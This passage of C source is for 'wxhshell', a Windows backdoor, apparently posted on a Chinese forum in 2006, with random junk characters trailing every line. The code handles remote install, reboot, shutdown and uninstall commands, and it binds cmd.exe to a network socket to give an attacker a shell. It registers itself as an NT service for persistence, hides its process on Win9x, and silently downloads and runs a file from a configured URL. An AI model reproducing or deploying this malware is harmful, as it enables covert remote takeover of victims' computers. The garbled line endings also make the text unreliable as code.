  osc A\r  
  // 帮助 fZoQQ[s  
  case '?': { :k-@w5(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _Wq;bKG  
    break; 31\mF\{V  
  } Z;S)GUG^  
  // 安装 "~S2XcR[ E  
  case 'i': { 0{ _6le]  
    if(Install()) 'P*OzZ4>$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A'$>~Ev  
    else znDpg{U(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jd~Mq9(  
    break; jGoQXiX  
    } \x:} |   
  // 卸载 H_,4N_hL  
  case 'r': { B2Rpd &[  
    if(Uninstall()) fw VI%0C@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "!_vQ^y  
    else gF`hlYD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xvk+1:D  
    break; $&!|G-0'  
    } <*+[E!oi  
  // 显示 wxhshell 所在路径 v,Zoy|Lu  
  case 'p': { [kTckZv  
    char svExeFile[MAX_PATH]; nch#DE8 2  
    strcpy(svExeFile,"\n\r"); 6v74mIRn'?  
      strcat(svExeFile,ExeFile); &*bpEdkZ  
        send(wsh,svExeFile,strlen(svExeFile),0); v_WF.sb~  
    break; *2fJdY  
    } (&u'S+  
  // 重启 C\Z5%2<Z  
  case 'b': {  [aG   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4T$DQK@e  
    if(Boot(REBOOT)) &bGf{P*Da  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dd6%3L{cn  
    else { \%B7M]P  
    closesocket(wsh); tt CC] Q  
    ExitThread(0); @=%g{  
    } `4?|yp.|L  
    break; >3*a&_cI=k  
    } =f23lA  
  // 关机 8)2M%R\THn  
  case 'd': { OO'zIC<z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @iMF&\KC  
    if(Boot(SHUTDOWN)) # 2FrP5rC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0fLd7*1>  
    else { -knP5"TB  
    closesocket(wsh); =Ot_P7'5gv  
    ExitThread(0); Gx4{ 9  
    } 4'tY1 d  
    break; ]omBq<ox'Y  
    } 'vYt_T  
  // 获取shell !]5V{3  
  case 's': { 17`-eDd  
    CmdShell(wsh); ?*[35XUd  
    closesocket(wsh); g7lPQ_A*  
    ExitThread(0); x8x-b>|$&<  
    break; 1|AY&u%fiP  
  } fz?woVn  
  // 退出 :`lP+y?a1  
  case 'x': {  -PU.Uw]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gyPwNE  
    CloseIt(wsh); fW[RCd  
    break; o\PHs4Ws'7  
    } o q6^  
  // 离开 4)>S3Yr  
  case 'q': { KV-h~C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OT$++cj^  
    closesocket(wsh); \KS.A 4  
    WSACleanup(); qq_ZkU@xg  
    exit(1); O4:_c-V2  
    break; uRYq.`v,  
        } 5iI(A'R[7  
  } j,SZJ{ebXg  
  } yqtaQ0F~  
a8G<x <  
  // 提示信息 UI'fzlB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ino]::ZJ/  
} '1fyBU  
  } @,}tY ?>a  
=;F7h @:  
  return; FD~ U F;VQ  
} _y sakn  
OF )*kiJ  
// shell模块句柄 [Q\(k d*4  
int CmdShell(SOCKET sock) 3xmPY.  
{ `I4E': ZG  
STARTUPINFO si; F~hH>BH9  
ZeroMemory(&si,sizeof(si)); pSEaE9AX%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SSyARR+;c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sTep2W.9  
PROCESS_INFORMATION ProcessInfo; 1)qD)E5&cf  
char cmdline[]="cmd"; }W(t> >  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .<xD'54  
  return 0; yq<W+b/  
} P_H_\KsH*(  
Y*O Bky  
// 自身启动模式 B52dZb  
int StartFromService(void) d0f(Uk  
{ L@_o*"&j  
typedef struct GXNkl?#  
{ Y^U^yh_!^  
  DWORD ExitStatus; om=kA"&&Q  
  DWORD PebBaseAddress; _^ic@h3'X~  
  DWORD AffinityMask; rY&#g%B6Fp  
  DWORD BasePriority; (ip3{d{CT]  
  ULONG UniqueProcessId; pp{GaCi  
  ULONG InheritedFromUniqueProcessId; 3`RI[%AN~  
}   PROCESS_BASIC_INFORMATION; G )`gn  
3+ 2&9mm  
PROCNTQSIP NtQueryInformationProcess; wehiX7y  
Twr,O;*u=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rW_cLdh]#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %$Xt1ub6(  
<b\8<mTr  
  HANDLE             hProcess; .2_xTt   
  PROCESS_BASIC_INFORMATION pbi; Ly R<cd$W  
&p*rEs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 84i0h$ZZo  
  if(NULL == hInst ) return 0; & .#dZ}J  
h?} S|>9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8Bh micU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hd[t&?{=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }odjaM}5Nc  
TDWD8??e  
  if (!NtQueryInformationProcess) return 0; s8qpK; O  
Fpwhyls  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rY1jC\  
  if(!hProcess) return 0; 'z)cieFKP  
{yEL$8MC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1,U)rx$H  
0]$-}AYM  
  CloseHandle(hProcess); 0>e]i[P.  
%nE%^Enw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <]|!quY<*  
if(hProcess==NULL) return 0; yX%> %#$  
vq-;wdq?2  
HMODULE hMod; _J#oAE5]!  
char procName[255]; /F''4%S?E  
unsigned long cbNeeded; C@-cLk  
^P A|RFP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PI,2b(`h_  
Ml{4)%~Y7f  
  CloseHandle(hProcess); IjQgmS~G  
FL&Y/5  
if(strstr(procName,"services")) return 1; // 以服务启动 =^l`c$G<  
lH@goh  
  return 0; // 注册表启动 `krVfE;_O  
} 0tPwhJ  
}#Iqq9[  
// 主模块 JE*?O*&|Q  
int StartWxhshell(LPSTR lpCmdLine) :<0lCj  
{ wyAh%'V  
  SOCKET wsl; p6)6Gcx  
BOOL val=TRUE; |  >yc|W  
  int port=0; 9}42s+  
  struct sockaddr_in door; J~ +p7S  
fD8GAav  
  if(wscfg.ws_autoins) Install(); g2rH"3sC  
A1z<2.R  
port=atoi(lpCmdLine); Y$j !-l5z  
hewc5vrL  
if(port<=0) port=wscfg.ws_port; P=9UK`n  
&zVXd  
  WSADATA data; }jFRuT;35  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PpNG`_O  
^EW6}oj[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /'_Yct=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hw)z]  
  door.sin_family = AF_INET; J9y}rGO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +bb-uoZf  
  door.sin_port = htons(port); CDr0QM4k:.  
LcNI$g;}Yf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R? N+./{  
closesocket(wsl); -rHqU|  
return 1; fZJM'+J@A  
} 77 Z:!J|  
#T`1Z"h<  
  if(listen(wsl,2) == INVALID_SOCKET) { I?%#`Rvu  
closesocket(wsl); iU=:YPE+ .  
return 1; u09D`QPP]  
} !ZCxi  
  Wxhshell(wsl); bX5/xf$q  
  WSACleanup(); /len8FRf  
beV+3HqB8  
return 0; o$7UWKW8  
*TCV}=V G  
} <KStl fX  
{ Q!Xxe>6  
// 以NT服务方式启动 +apn3\_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1}p :]/;  
{ 5>=4$!`  
DWORD   status = 0; r/0AM}[!*j  
  DWORD   specificError = 0xfffffff; qNMYZ0,  
$?LegX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oJ#;XR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y`/:E<fVk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :x^e T  
  serviceStatus.dwWin32ExitCode     = 0; e"p){)*$  
  serviceStatus.dwServiceSpecificExitCode = 0; ec*Ni|`Z'  
  serviceStatus.dwCheckPoint       = 0; t~qAA\p}o  
  serviceStatus.dwWaitHint       = 0; IEI&PRD  
1$:O9 {F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _=cuOo"!  
  if (hServiceStatusHandle==0) return; u%OLXb  
#H5 +8W  
status = GetLastError(); 77]lp mC  
  if (status!=NO_ERROR) tZ*>S]qD  
{ o0dD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (&_^1  
    serviceStatus.dwCheckPoint       = 0; {7 ](-  
    serviceStatus.dwWaitHint       = 0; g"g3|$#Ej|  
    serviceStatus.dwWin32ExitCode     = status; ] {0OPU  
    serviceStatus.dwServiceSpecificExitCode = specificError; SK*<H~2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P$@:T[}v  
    return; 3q6FV7Fv&b  
  } >rYMOC~  
f Avh!g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e#WASHZN  
  serviceStatus.dwCheckPoint       = 0; OL@$RTh  
  serviceStatus.dwWaitHint       = 0; {"rL3Lk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [8 23w.{]#  
} 6J cXhlB`  
ZK<c(,oZ^  
// 处理NT服务事件,比如:启动、停止 5 (q4o`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "=$uv  
{ zW[HGI6w  
switch(fdwControl) azRp4~2?  
{ S]4!uv^y  
case SERVICE_CONTROL_STOP: N,F[x0&?  
  serviceStatus.dwWin32ExitCode = 0; a,n#E!zT?w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4]xD-sc  
  serviceStatus.dwCheckPoint   = 0; lcfs 1].  
  serviceStatus.dwWaitHint     = 0; uE.. 1N&*  
  { NZ+TTMv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v9#F\F/  
  } RS2uk 7MB  
  return; bY~V?yNgKM  
case SERVICE_CONTROL_PAUSE:  DD[<J:6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I-Am9\   
  break; w.+G+ r=  
case SERVICE_CONTROL_CONTINUE: ~{{7y]3M-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S&Hgr_/}c  
  break; gTd r  
case SERVICE_CONTROL_INTERROGATE: 3,Iu!KB  
  break; Odw9]`,T  
}; }1.'2.<Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xlc2,L;i  
} O6">Io5  
:1v.Jk  
// 标准应用程序主函数 A3J=,aRI_v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y3P4]sq  
{ P\@efq@!  
jm'^>p,9G  
// 获取操作系统版本 -"x@V7X  
OsIsNt=GetOsVer(); VLfKN)g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o Z%oP V:  
Pa?C-Xn^  
  // 从命令行安装 MaF4lFmS  
  if(strpbrk(lpCmdLine,"iI")) Install(); L9!\\U  
DIkf#}  
  // 下载执行文件 ? 0:=+%.  
if(wscfg.ws_downexe) { L3s"L.G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EbJc%%c  
  WinExec(wscfg.ws_filenam,SW_HIDE); :+8qtIytKX  
} {?r5~ T`2  
Sj v iH  
if(!OsIsNt) { uu/2C \n}  
// 如果时win9x,隐藏进程并且设置为注册表启动 !';;q  
HideProc(); ( yB]$  
StartWxhshell(lpCmdLine); ,Z8)DC=  
} \]3[Xw-$  
else Lx| 0G $  
  if(StartFromService()) .F/s (  
  // 以服务方式启动 T5dnj&N ]  
  StartServiceCtrlDispatcher(DispatchTable); 0u +_D8G  
else cXb&Rm' L  
  // 普通方式启动 q-/t?m0  
  StartWxhshell(lpCmdLine); t"vkd  
oA;ZDO06r  
return 0; 1=PTiDMJ<*  
}
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只看该作者 1 发表于: 2006-10-10
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